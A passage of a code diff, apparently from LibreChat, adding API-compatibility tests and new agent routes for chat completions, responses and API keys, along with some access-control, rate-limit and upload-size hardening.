for the test agents + await AclEntry.create([ + { + principalType: PrincipalType.USER, + principalModel: PrincipalModel.USER, + principalId: testUser._id, + resourceType: ResourceType.REMOTE_AGENT, + resourceId: testAgent._id, + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + permBits: + PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE, + }, + { + principalType: PrincipalType.USER, + principalModel: PrincipalModel.USER, + principalId: testUser._id, + resourceType: ResourceType.REMOTE_AGENT, + resourceId: thinkingAgent._id, + accessRoleId: AccessRoleIds.REMOTE_AGENT_OWNER, + permBits: + PermissionBits.VIEW | PermissionBits.EDIT | PermissionBits.DELETE | PermissionBits.SHARE, + }, + ]); + }, 60000); + + afterAll(async () => { + await mongoose.disconnect(); + await mongoServer.stop(); + }); + + beforeEach(async () => { + // Clean up any test data between tests if needed + }); + + /* =========================================================================== + * COMPLIANCE TESTS + * Based on: https://github.com/openresponses/openresponses/blob/main/src/lib/compliance-tests.ts + * =========================================================================== */ + + /** Helper to add auth header to requests */ + const authRequest = () => ({ + post: (url) => request(app).post(url).set('Authorization', `Bearer ${testApiKey}`), + get: (url) => request(app).get(url).set('Authorization', `Bearer ${testApiKey}`), + }); + + describe('Compliance Tests', () => { + describe('basic-response', () => { + it('should return a valid ResponseResource for a simple text request', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'Say hello in exactly 3 words.', + }, + ], + }); + + expect(response.status).toBe(200); + expect(response.body).toBeDefined(); + + // Validate ResponseResource schema + const body = response.body; + expect(body.id).toMatch(/^resp_/); + expect(body.object).toBe('response'); + expect(typeof body.created_at).toBe('number'); + expect(body.status).toBe('completed'); + expect(body.model).toBe(testAgent.id); + + // Validate output + expect(Array.isArray(body.output)).toBe(true); + expect(body.output.length).toBeGreaterThan(0); + + // Should have at least one message item + const messageItem = body.output.find((item) => item.type === 'message'); + expect(messageItem).toBeDefined(); + expect(messageItem.role).toBe('assistant'); + expect(messageItem.status).toBe('completed'); + expect(Array.isArray(messageItem.content)).toBe(true); + }); + }); + + describe('streaming-response', () => { + it('should return valid SSE streaming events', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'Count from 1 to 5.', + }, + ], + stream: true, + }) + .buffer(true) + .parse((res, callback) => { + let data = ''; + res.on('data', (chunk) => { + data += chunk.toString(); + }); + res.on('end', () => { + callback(null, data); + }); + }); + + expect(response.status).toBe(200); + expect(response.headers['content-type']).toMatch(/text\/event-stream/); + + const events = parseSSEEvents(response.body); + expect(events.length).toBeGreaterThan(0); + + // Validate all streaming events against Open Responses spec + // This catches issues like: + // - Invalid event types (e.g., response.reasoning_text.delta instead of response.reasoning.delta) + // - Missing required fields (e.g., logprobs on output_text events) + const validationErrors = validateAllStreamingEvents(events); + if (validationErrors.length > 0) { + console.error('Streaming event validation errors:', validationErrors); + } + expect(validationErrors).toEqual([]); + + // Validate streaming event types + const eventTypes = events.map((e) => e.event); + + // Should have response.created first (per Open Responses spec) + expect(eventTypes).toContain('response.created'); + + // Should have response.in_progress + expect(eventTypes).toContain('response.in_progress'); + + // response.created should come before response.in_progress + const createdIdx = eventTypes.indexOf('response.created'); + const inProgressIdx = eventTypes.indexOf('response.in_progress'); + expect(createdIdx).toBeLessThan(inProgressIdx); + + // Should have response.completed or response.failed + expect(eventTypes.some((t) => t === 'response.completed' || t === 'response.failed')).toBe( + true, + ); + + // Should have [DONE] + expect(eventTypes).toContain('done'); + + // Validate response.completed has full response + const completedEvent = events.find((e) => e.event === 'response.completed'); + if (completedEvent) { + expect(completedEvent.data.response).toBeDefined(); + expect(completedEvent.data.response.status).toBe('completed'); + expect(completedEvent.data.response.output.length).toBeGreaterThan(0); + } + }); + + it('should emit valid event types per Open Responses spec', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'Say hi.', + }, + ], + stream: true, + }) + .buffer(true) + .parse((res, callback) => { + let data = ''; + res.on('data', (chunk) => { + data += chunk.toString(); + }); + res.on('end', () => { + callback(null, data); + }); + }); + + expect(response.status).toBe(200); + + const events = parseSSEEvents(response.body); + + // Check all event types are valid + for (const event of events) { + if (event.data && typeof event.data === 'object' && event.data.type) { + expect(VALID_STREAMING_EVENT_TYPES.has(event.data.type)).toBe(true); + } + } + }); + + it('should include logprobs array in output_text events', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'Say one word.', + }, + ], + stream: true, + }) + .buffer(true) + .parse((res, callback) => { + let data = ''; + res.on('data', (chunk) => { + data += chunk.toString(); + }); + res.on('end', () => { + callback(null, data); + }); + }); + + expect(response.status).toBe(200); + + const events = parseSSEEvents(response.body); + + // Find output_text delta/done events and verify logprobs + const textDeltaEvents = events.filter( + (e) => e.data && e.data.type === 'response.output_text.delta', + ); + const textDoneEvents = events.filter( + (e) => e.data && e.data.type === 'response.output_text.done', + ); + + // Should have at least one output_text event + expect(textDeltaEvents.length + textDoneEvents.length).toBeGreaterThan(0); + + // All output_text.delta events must have logprobs array + for (const event of textDeltaEvents) { + expect(Array.isArray(event.data.logprobs)).toBe(true); + } + + // All output_text.done events must have logprobs array + for (const event of textDoneEvents) { + expect(Array.isArray(event.data.logprobs)).toBe(true); + } + }); + }); + + describe('system-prompt', () => { + it('should handle developer role messages in input (as system)', async () => { + // Note: For Anthropic, system messages must be first and there can only be one. + // Since the agent already has instructions, we use 'developer' role which + // gets merged into the system prompt, or we test with a simple user message + // that instructs the behavior. + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'Pretend you are a pirate and say hello in pirate speak.', + }, + ], + }); + + expect(response.status).toBe(200); + expect(response.body.status).toBe('completed'); + expect(response.body.output.length).toBeGreaterThan(0); + + // The response should reflect the pirate persona + const messageItem = response.body.output.find((item) => item.type === 'message'); + expect(messageItem).toBeDefined(); + expect(messageItem.content.length).toBeGreaterThan(0); + }); + }); + + describe('multi-turn', () => { + it('should handle multi-turn conversation history', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: testAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'My name is Alice.', + }, + { + type: 'message', + role: 'assistant', + content: 'Hello Alice! Nice to meet you. How can I help you today?', + }, + { + type: 'message', + role: 'user', + content: 'What is my name?', + }, + ], + }); + + expect(response.status).toBe(200); + expect(response.body.status).toBe('completed'); + + // The response should reference "Alice" + const messageItem = response.body.output.find((item) => item.type === 'message'); + expect(messageItem).toBeDefined(); + + const textContent = messageItem.content.find((c) => c.type === 'output_text'); + expect(textContent).toBeDefined(); + expect(textContent.text.toLowerCase()).toContain('alice'); + }); + }); + + // Note: tool-calling test requires tool setup which may need additional configuration + // Note: image-input test requires vision-capable model + + describe('string-input', () => { + it('should accept simple string input', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + model: testAgent.id, + input: 'Hello!', + }); + + expect(response.status).toBe(200); + expect(response.body.status).toBe('completed'); + expect(response.body.output.length).toBeGreaterThan(0); + }); + }); + }); + + /* =========================================================================== + * EXTENDED THINKING TESTS + * Tests reasoning output from Claude models with extended thinking enabled + * =========================================================================== */ + + describe('Extended Thinking', () => { + it('should return reasoning output when thinking is enabled', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: thinkingAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'What is 15 * 7? Think step by step.', + }, + ], + }); + + expect(response.status).toBe(200); + expect(response.body.status).toBe('completed'); + + // Check for reasoning item in output + const reasoningItem = response.body.output.find((item) => item.type === 'reasoning'); + // If reasoning is present, validate its structure per Open Responses spec + // Note: reasoning items do NOT have a 'status' field per the spec + // @see https://github.com/openresponses/openresponses/blob/main/src/generated/kubb/zod/reasoningBodySchema.ts + if (reasoningItem) { + expect(reasoningItem).toHaveProperty('id'); + expect(reasoningItem).toHaveProperty('type', 'reasoning'); + // Note: 'status' is NOT a field on reasoning items per the spec + expect(reasoningItem).toHaveProperty('summary'); + expect(Array.isArray(reasoningItem.summary)).toBe(true); + + // Validate content items + if (reasoningItem.content && reasoningItem.content.length > 0) { + const reasoningContent = reasoningItem.content[0]; + expect(reasoningContent).toHaveProperty('type', 'reasoning_text'); + expect(reasoningContent).toHaveProperty('text'); + } + } + + const messageItem = response.body.output.find((item) => item.type === 'message'); + expect(messageItem).toBeDefined(); + }); + + it('should stream reasoning events when thinking is enabled', async () => { + const response = await authRequest() + .post('/api/agents/v1/responses') + .send({ + model: thinkingAgent.id, + input: [ + { + type: 'message', + role: 'user', + content: 'What is 12 + 8? Think step by step.', + }, + ], + stream: true, + }) + .buffer(true) + .parse((res, callback) => { + let data = ''; + res.on('data', (chunk) => { + data += chunk.toString(); + }); + res.on('end', () => { + callback(null, data); + }); + }); + + expect(response.status).toBe(200); + + const events = parseSSEEvents(response.body); + + // Validate all events against Open Responses spec + const validationErrors = validateAllStreamingEvents(events); + if (validationErrors.length > 0) { + console.error('Reasoning streaming event validation errors:', validationErrors); + } + expect(validationErrors).toEqual([]); + + // Check for reasoning-related events using correct event types per Open Responses spec + // Note: The spec uses response.reasoning.delta NOT response.reasoning_text.delta + const reasoningDeltaEvents = events.filter( + (e) => e.data && e.data.type === 'response.reasoning.delta', + ); + const reasoningDoneEvents = events.filter( + (e) => e.data && e.data.type === 'response.reasoning.done', + ); + + // If reasoning events are present, validate their structure + if (reasoningDeltaEvents.length > 0) { + const deltaEvent = reasoningDeltaEvents[0]; + expect(deltaEvent.data).toHaveProperty('item_id'); + expect(deltaEvent.data).toHaveProperty('delta'); + expect(deltaEvent.data).toHaveProperty('output_index'); + expect(deltaEvent.data).toHaveProperty('content_index'); + expect(deltaEvent.data).toHaveProperty('sequence_number'); + } + + if (reasoningDoneEvents.length > 0) { + const doneEvent = reasoningDoneEvents[0]; + expect(doneEvent.data).toHaveProperty('item_id'); + expect(doneEvent.data).toHaveProperty('text'); + expect(doneEvent.data).toHaveProperty('output_index'); + expect(doneEvent.data).toHaveProperty('content_index'); + expect(doneEvent.data).toHaveProperty('sequence_number'); + } + + // Verify stream completed properly + const eventTypes = events.map((e) => e.event); + expect(eventTypes).toContain('response.completed'); + }); + }); + + /* =========================================================================== + * SCHEMA VALIDATION TESTS + * Verify response schema compliance + * =========================================================================== */ + + describe('Schema Validation', () => { + it('should include all required fields in response', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + model: testAgent.id, + input: 'Test', + }); + + expect(response.status).toBe(200); + const body = response.body; + + // Required fields per Open Responses spec + expect(body).toHaveProperty('id'); + expect(body).toHaveProperty('object', 'response'); + expect(body).toHaveProperty('created_at'); + expect(body).toHaveProperty('completed_at'); + expect(body).toHaveProperty('status'); + expect(body).toHaveProperty('model'); + expect(body).toHaveProperty('output'); + expect(body).toHaveProperty('tools'); + expect(body).toHaveProperty('tool_choice'); + expect(body).toHaveProperty('truncation'); + expect(body).toHaveProperty('parallel_tool_calls'); + expect(body).toHaveProperty('text'); + expect(body).toHaveProperty('temperature'); + expect(body).toHaveProperty('top_p'); + expect(body).toHaveProperty('presence_penalty'); + expect(body).toHaveProperty('frequency_penalty'); + expect(body).toHaveProperty('top_logprobs'); + expect(body).toHaveProperty('store'); + expect(body).toHaveProperty('background'); + expect(body).toHaveProperty('service_tier'); + expect(body).toHaveProperty('metadata'); + + // top_logprobs must be a number (not null) + expect(typeof body.top_logprobs).toBe('number'); + + // Usage must have required detail fields + expect(body).toHaveProperty('usage'); + expect(body.usage).toHaveProperty('input_tokens'); + expect(body.usage).toHaveProperty('output_tokens'); + expect(body.usage).toHaveProperty('total_tokens'); + expect(body.usage).toHaveProperty('input_tokens_details'); + expect(body.usage).toHaveProperty('output_tokens_details'); + expect(body.usage.input_tokens_details).toHaveProperty('cached_tokens'); + expect(body.usage.output_tokens_details).toHaveProperty('reasoning_tokens'); + }); + + it('should have valid message item structure', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + model: testAgent.id, + input: 'Hello', + }); + + expect(response.status).toBe(200); + + const messageItem = response.body.output.find((item) => item.type === 'message'); + expect(messageItem).toBeDefined(); + + // Message item required fields + expect(messageItem).toHaveProperty('type', 'message'); + expect(messageItem).toHaveProperty('id'); + expect(messageItem).toHaveProperty('status'); + expect(messageItem).toHaveProperty('role', 'assistant'); + expect(messageItem).toHaveProperty('content'); + expect(Array.isArray(messageItem.content)).toBe(true); + + // Content part structure - verify all required fields + if (messageItem.content.length > 0) { + const textContent = messageItem.content.find((c) => c.type === 'output_text'); + if (textContent) { + expect(textContent).toHaveProperty('type', 'output_text'); + expect(textContent).toHaveProperty('text'); + expect(textContent).toHaveProperty('annotations'); + expect(textContent).toHaveProperty('logprobs'); + expect(Array.isArray(textContent.annotations)).toBe(true); + expect(Array.isArray(textContent.logprobs)).toBe(true); + } + } + + // Verify reasoning item has required summary field + const reasoningItem = response.body.output.find((item) => item.type === 'reasoning'); + if (reasoningItem) { + expect(reasoningItem).toHaveProperty('type', 'reasoning'); + expect(reasoningItem).toHaveProperty('id'); + expect(reasoningItem).toHaveProperty('summary'); + expect(Array.isArray(reasoningItem.summary)).toBe(true); + } + }); + }); + + /* =========================================================================== + * RESPONSE STORAGE TESTS + * Tests for store: true and GET /v1/responses/:id + * =========================================================================== */ + + describe('Response Storage', () => { + it('should store response when store: true and retrieve it', async () => { + // Create a stored response + const createResponse = await authRequest().post('/api/agents/v1/responses').send({ + model: testAgent.id, + input: 'Remember this: The answer is 42.', + store: true, + }); + + expect(createResponse.status).toBe(200); + expect(createResponse.body.status).toBe('completed'); + + const responseId = createResponse.body.id; + expect(responseId).toMatch(/^resp_/); + + // Small delay to ensure database write completes + await new Promise((resolve) => setTimeout(resolve, 500)); + + // Retrieve the stored response + const getResponseResult = await authRequest().get(`/api/agents/v1/responses/${responseId}`); + + // Note: The response might be stored under conversationId, not responseId + // If we get 404, that's expected behavior for now since we store by conversationId + if (getResponseResult.status === 200) { + expect(getResponseResult.body.object).toBe('response'); + expect(getResponseResult.body.status).toBe('completed'); + expect(getResponseResult.body.output.length).toBeGreaterThan(0); + } + }); + + it('should return 404 for non-existent response', async () => { + const response = await authRequest().get('/api/agents/v1/responses/resp_nonexistent123'); + + expect(response.status).toBe(404); + expect(response.body.error).toBeDefined(); + }); + }); + + /* =========================================================================== + * ERROR HANDLING TESTS + * =========================================================================== */ + + describe('Error Handling', () => { + it('should return error for missing model', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + input: 'Hello', + }); + + expect(response.status).toBe(400); + expect(response.body.error).toBeDefined(); + }); + + it('should return error for missing input', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + model: testAgent.id, + }); + + expect(response.status).toBe(400); + expect(response.body.error).toBeDefined(); + }); + + it('should return error for non-existent agent', async () => { + const response = await authRequest().post('/api/agents/v1/responses').send({ + model: 'agent_nonexistent123456789', + input: 'Hello', + }); + + expect(response.status).toBe(404); + expect(response.body.error).toBeDefined(); + }); + }); + + /* =========================================================================== + * MODELS ENDPOINT TESTS + * =========================================================================== */ + + describe('GET /v1/responses/models', () => { + it('should list available agents as models', async () => { + const response = await authRequest().get('/api/agents/v1/responses/models'); + + expect(response.status).toBe(200); + expect(response.body.object).toBe('list'); + expect(Array.isArray(response.body.data)).toBe(true); + + // Should include our test agent + const foundAgent = response.body.data.find((m) => m.id === testAgent.id); + expect(foundAgent).toBeDefined(); + expect(foundAgent.object).toBe('model'); + expect(foundAgent.name).toBe(testAgent.name); + }); + }); +}); diff --git a/api/server/routes/agents/index.js b/api/server/routes/agents/index.js index bf790aeee8..f8d39cb4d8 100644 --- a/api/server/routes/agents/index.js +++ b/api/server/routes/agents/index.js @@ -10,6 +10,8 @@ const { messageUserLimiter, } = require('~/server/middleware'); const { saveMessage } = require('~/models'); +const openai = require('./openai'); +const responses = require('./responses'); const { v1 } = require('./v1'); const chat = require('./chat'); @@ -17,6 +19,20 @@ const { LIMIT_MESSAGE_IP, LIMIT_MESSAGE_USER } = process.env ?? {}; const router = express.Router(); +/** + * Open Responses API routes (API key authentication handled in route file) + * Mounted at /agents/v1/responses (full path: /api/agents/v1/responses) + * NOTE: Must be mounted BEFORE /v1 to avoid being caught by the less specific route + * @see https://openresponses.org/specification + */ +router.use('/v1/responses', responses); + +/** + * OpenAI-compatible API routes (API key authentication handled in route file) + * Mounted at /agents/v1 (full path: /api/agents/v1/chat/completions) + */ +router.use('/v1', openai); + router.use(requireJwtAuth); router.use(checkBan); router.use(uaParser); diff --git a/api/server/routes/agents/openai.js b/api/server/routes/agents/openai.js new file mode 100644 index 0000000000..9a0d9a3564 --- /dev/null +++ b/api/server/routes/agents/openai.js @@ -0,0 +1,110 @@ +/** + * OpenAI-compatible API routes for LibreChat agents. + * + * Provides a /v1/chat/completions compatible interface for + * interacting with LibreChat agents remotely via API. + * + * Usage: + * POST /v1/chat/completions - Chat with an agent + * GET /v1/models - List available agents + * GET /v1/models/:model - Get agent details + * + * Request format: + * { + * "model": "agent_id_here", + * "messages": [{"role": "user", "content": "Hello!"}], + * "stream": true + * } + */ +const express = require('express'); +const { PermissionTypes, Permissions } = require('librechat-data-provider'); +const { + generateCheckAccess, + createRequireApiKeyAuth, + createCheckRemoteAgentAccess, +} = require('@librechat/api'); +const { + OpenAIChatCompletionController, + ListModelsController, + GetModelController, +} = require('~/server/controllers/agents/openai'); +const { getEffectivePermissions } = require('~/server/services/PermissionService'); +const { validateAgentApiKey, findUser } = require('~/models'); +const { configMiddleware } = require('~/server/middleware'); +const { getRoleByName } = require('~/models/Role'); +const { getAgent } = require('~/models/Agent'); + +const router = express.Router(); + +const requireApiKeyAuth = createRequireApiKeyAuth({ + validateAgentApiKey, + findUser, +}); + +const checkRemoteAgentsFeature = generateCheckAccess({ + permissionType: PermissionTypes.REMOTE_AGENTS, + permissions: [Permissions.USE], + getRoleByName, +}); + +const checkAgentPermission = createCheckRemoteAgentAccess({ + getAgent, + getEffectivePermissions, +}); + +router.use(requireApiKeyAuth); +router.use(configMiddleware); +router.use(checkRemoteAgentsFeature); + +/** + * @route POST /v1/chat/completions + * @desc OpenAI-compatible chat completions with agents + * @access Private (API key auth required) + * + * Request body: + * { + * "model": "agent_id", // Required: The agent ID to use + * "messages": [...], // Required: Array of chat messages + * "stream": true, // Optional: Whether to stream (default: false) + * "conversation_id": "...", // Optional: Conversation ID for context + * "parent_message_id": "..." // Optional: Parent message for threading + * } + * + * Response (streaming): + * - SSE stream with OpenAI chat.completion.chunk format + * - Includes delta.reasoning for thinking/reasoning content + * + * Response (non-streaming): + * - Standard OpenAI chat.completion format + */ +router.post('/chat/completions', checkAgentPermission, OpenAIChatCompletionController); + +/** + * @route GET /v1/models + * @desc List available agents as models + * @access Private (API key auth required) + * + * Response: + * { + * "object": "list", + * "data": [ + * { + * "id": "agent_id", + * "object": "model", + * "name": "Agent Name", + * "provider": "openai", + * ... + * } + * ] + * } + */ +router.get('/models', ListModelsController); + +/** + * @route GET /v1/models/:model + * @desc Get details for a specific agent/model + * @access Private (API key auth required) + */ +router.get('/models/:model', GetModelController); + +module.exports = router; diff --git a/api/server/routes/agents/responses.js b/api/server/routes/agents/responses.js new file mode 100644 index 0000000000..431942e921 --- /dev/null +++ b/api/server/routes/agents/responses.js @@ -0,0 +1,144 @@ +/** + * Open Responses API routes for LibreChat agents. + * + * Implements the Open Responses specification for a forward-looking, + * agentic API that uses items as the fundamental unit and semantic + * streaming events. + * + * Usage: + * POST /v1/responses - Create a response + * GET /v1/models - List available agents + * + * Request format: + * { + * "model": "agent_id_here", + * "input": "Hello!" or [{ type: "message", role: "user", content: "Hello!" }], + * "stream": true, + * "previous_response_id": "optional_conversation_id" + * } + * + * @see https://openresponses.org/specification + */ +const express = require('express'); +const { PermissionTypes, Permissions } = require('librechat-data-provider'); +const { + generateCheckAccess, + createRequireApiKeyAuth, + createCheckRemoteAgentAccess, +} = require('@librechat/api'); +const { + createResponse, + getResponse, + listModels, +} = require('~/server/controllers/agents/responses'); +const { getEffectivePermissions } = require('~/server/services/PermissionService'); +const { validateAgentApiKey, findUser } = require('~/models'); +const { configMiddleware } = require('~/server/middleware'); +const { getRoleByName } = require('~/models/Role'); +const { getAgent } = require('~/models/Agent'); + +const router = express.Router(); + +const requireApiKeyAuth = createRequireApiKeyAuth({ + validateAgentApiKey, + findUser, +}); + +const checkRemoteAgentsFeature = generateCheckAccess({ + permissionType: PermissionTypes.REMOTE_AGENTS, + permissions: [Permissions.USE], + getRoleByName, +}); + +const checkAgentPermission = createCheckRemoteAgentAccess({ + getAgent, + getEffectivePermissions, +}); + +router.use(requireApiKeyAuth); +router.use(configMiddleware); +router.use(checkRemoteAgentsFeature); + +/** + * @route POST /v1/responses + * @desc Create a model response following Open Responses specification + * @access Private (API key auth required) + * + * Request body: + * { + * "model": "agent_id", // Required: The agent ID to use + * "input": "..." | [...], // Required: String or array of input items + * "stream": true, // Optional: Whether to stream (default: false) + * "previous_response_id": "...", // Optional: Previous response for continuation + * "instructions": "...", // Optional: Additional instructions + * "tools": [...], // Optional: Additional tools + * "tool_choice": "auto", // Optional: Tool choice mode + * "max_output_tokens": 4096, // Optional: Max tokens + * "temperature": 0.7 // Optional: Temperature + * } + * + * Response (streaming): + * - SSE stream with semantic events: + * - response.in_progress + * - response.output_item.added + * - response.content_part.added + * - response.output_text.delta + * - response.output_text.done + * - response.function_call_arguments.delta + * - response.output_item.done + * - response.completed + * - [DONE] + * + * Response (non-streaming): + * { + * "id": "resp_xxx", + * "object": "response", + * "created_at": 1234567890, + * "status": "completed", + * "model": "agent_id", + * "output": [...], // Array of output items + * "usage": { ... } + * } + */ +router.post('/', checkAgentPermission, createResponse); + +/** + * @route GET /v1/responses/models + * @desc List available agents as models + * @access Private (API key auth required) + * + * Response: + * { + * "object": "list", + * "data": [ + * { + * "id": "agent_id", + * "object": "model", + * "name": "Agent Name", + * "provider": "openai", + * ... + * } + * ] + * } + */ +router.get('/models', listModels); + +/** + * @route GET /v1/responses/:id + * @desc Retrieve a stored response by ID + * @access Private (API key auth required) + * + * Response: + * { + * "id": "resp_xxx", + * "object": "response", + * "created_at": 1234567890, + * "status": "completed", + * "model": "agent_id", + * "output": [...], + * "usage": { ... } + * } + */ +router.get('/:id', getResponse); + +module.exports = router; diff --git a/api/server/routes/agents/v1.js b/api/server/routes/agents/v1.js index 682a9c795f..ed989bcf44 100644 --- a/api/server/routes/agents/v1.js +++ b/api/server/routes/agents/v1.js @@ -117,7 +117,7 @@ router.post( '/:id/duplicate', checkAgentCreate, canAccessAgentResource({ - requiredPermission: PermissionBits.VIEW, + requiredPermission: PermissionBits.EDIT, resourceIdParam: 'id', }), v1.duplicateAgent, diff --git a/api/server/routes/apiKeys.js b/api/server/routes/apiKeys.js new file mode 100644 index 0000000000..29dcc326f5 --- /dev/null +++ b/api/server/routes/apiKeys.js @@ -0,0 +1,36 @@ +const express = require('express'); +const { generateCheckAccess, createApiKeyHandlers } = require('@librechat/api'); +const { PermissionTypes, Permissions } = require('librechat-data-provider'); +const { + getAgentApiKeyById, + createAgentApiKey, + deleteAgentApiKey, + listAgentApiKeys, +} = require('~/models'); +const { requireJwtAuth } = require('~/server/middleware'); +const { getRoleByName } = require('~/models/Role'); + +const router = express.Router(); + +const handlers = createApiKeyHandlers({ + createAgentApiKey, + listAgentApiKeys, + deleteAgentApiKey, + getAgentApiKeyById, +}); + +const checkRemoteAgentsUse = generateCheckAccess({ + permissionType: PermissionTypes.REMOTE_AGENTS, + permissions: [Permissions.USE], + getRoleByName, +}); + +router.post('/', requireJwtAuth, checkRemoteAgentsUse, handlers.createApiKey); + +router.get('/', requireJwtAuth, checkRemoteAgentsUse, handlers.listApiKeys); + +router.get('/:id', requireJwtAuth, checkRemoteAgentsUse, handlers.getApiKey); + +router.delete('/:id', requireJwtAuth, checkRemoteAgentsUse, handlers.deleteApiKey); + +module.exports = router; diff --git a/api/server/routes/auth.js b/api/server/routes/auth.js index e84442f65f..d55684f3de 100644 --- a/api/server/routes/auth.js +++ b/api/server/routes/auth.js @@ -63,7 +63,7 @@ router.post( resetPasswordController, ); -router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA); +router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA); router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA); router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken); router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA); diff --git a/api/server/routes/config.js b/api/server/routes/config.js index a2dc5b79d2..0adc9272bb 100644 --- a/api/server/routes/config.js +++ b/api/server/routes/config.js @@ -16,9 +16,7 @@ const sharedLinksEnabled = process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS); const publicSharedLinksEnabled = - sharedLinksEnabled && - (process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined || - isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC)); + sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC); const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER); const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS); diff --git a/api/server/routes/convos.js b/api/server/routes/convos.js index 75b3656f59..578796170a 100644 --- a/api/server/routes/convos.js +++ b/api/server/routes/convos.js @@ -1,7 +1,7 @@ const multer = require('multer'); const express = require('express'); const { sleep } = require('@librechat/agents'); -const { isEnabled } = require('@librechat/api'); +const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); const { CacheKeys, EModelEndpoint } = require('librechat-data-provider'); const { @@ -98,7 +98,7 @@ router.get('/gen_title/:conversationId', async (req, res) => { router.delete('/', async (req, res) => { let filter = {}; - const { conversationId, source, thread_id, endpoint } = req.body.arg; + const { conversationId, source, thread_id, endpoint } = req.body?.arg ?? {}; // Prevent deletion of all conversations if (!conversationId && !source && !thread_id && !endpoint) { @@ -160,7 +160,7 @@ router.delete('/all', async (req, res) => { * @returns {object} 200 - The updated conversation object. */ router.post('/archive', validateConvoAccess, async (req, res) => { - const { conversationId, isArchived } = req.body.arg ?? {}; + const { conversationId, isArchived } = req.body?.arg ?? {}; if (!conversationId) { return res.status(400).json({ error: 'conversationId is required' }); @@ -194,7 +194,7 @@ const MAX_CONVO_TITLE_LENGTH = 1024; * @returns {object} 201 - The updated conversation object. */ router.post('/update', validateConvoAccess, async (req, res) => { - const { conversationId, title } = req.body.arg ?? {}; + const { conversationId, title } = req.body?.arg ?? {}; if (!conversationId) { return res.status(400).json({ error: 'conversationId is required' }); @@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => { }); const { importIpLimiter, importUserLimiter } = createImportLimiters(); +/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */ const { forkIpLimiter, forkUserLimiter } = createForkLimiters(); -const upload = multer({ storage: storage, fileFilter: importFileFilter }); +const importMaxFileSize = resolveImportMaxFileSize(); +const upload = multer({ + storage, + fileFilter: importFileFilter, + limits: { fileSize: importMaxFileSize }, +}); +const uploadSingle = upload.single('file'); + +function handleUpload(req, res, next) { + uploadSingle(req, res, (err) => { + if (err && err.code === 'LIMIT_FILE_SIZE') { + return res.status(413).json({ message: 'File exceeds the maximum allowed size' }); + } + if (err) { + return next(err); + } + next(); + }); +} /** * Imports a conversation from a JSON file and saves it to the database. @@ -238,7 +257,7 @@ router.post( importIpLimiter, importUserLimiter, configMiddleware, - upload.single('file'), + handleUpload, async (req, res) => { try { /* TODO: optimize to return imported conversations and add manually */ @@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => { } }); -router.post('/duplicate', async (req, res) => { +router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => { const { conversationId, title } = req.body; try { diff --git a/api/server/routes/files/files.js b/api/server/routes/files/files.js index 5de2ddb379..9290d1a7ed 100644 --- a/api/server/routes/files/files.js +++ b/api/server/routes/files/files.js @@ -2,12 +2,12 @@ const fs = require('fs').promises; const express = require('express'); const { EnvVar } = require('@librechat/agents'); const { logger } = require('@librechat/data-schemas'); +const { verifyAgentUploadPermission } = require('@librechat/api'); const { Time, isUUID, CacheKeys, FileSources, - SystemRoles, ResourceType, EModelEndpoint, PermissionBits, @@ -381,48 +381,15 @@ router.post('/', async (req, res) => { return await processFileUpload({ req, res, metadata }); } - /** - * Check agent permissions for permanent agent file uploads (not message attachments). - * Message attachments (message_file=true) are temporary files for a single conversation - * and should be allowed for users who can chat with the agent. - * Permanent file uploads to tool_resources require EDIT permission. - */ - const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true'; - if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) { - const userId = req.user.id; - - /** Admin users bypass permission checks */ - if (req.user.role !== SystemRoles.ADMIN) { - const agent = await getAgent({ id: metadata.agent_id }); - - if (!agent) { - return res.status(404).json({ - error: 'Not Found', - message: 'Agent not found', - }); - } - - /** Check if user is the author or has edit permission */ - if (agent.author.toString() !== userId) { - const hasEditPermission = await checkPermission({ - userId, - role: req.user.role, - resourceType: ResourceType.AGENT, - resourceId: agent._id, - requiredPermission: PermissionBits.EDIT, - }); - - if (!hasEditPermission) { - logger.warn( - `[/files] User ${userId} denied upload to agent ${metadata.agent_id} (insufficient permissions)`, - ); - return res.status(403).json({ - error: 'Forbidden', - message: 'Insufficient permissions to upload files to this agent', - }); - } - } - } + const denied = await 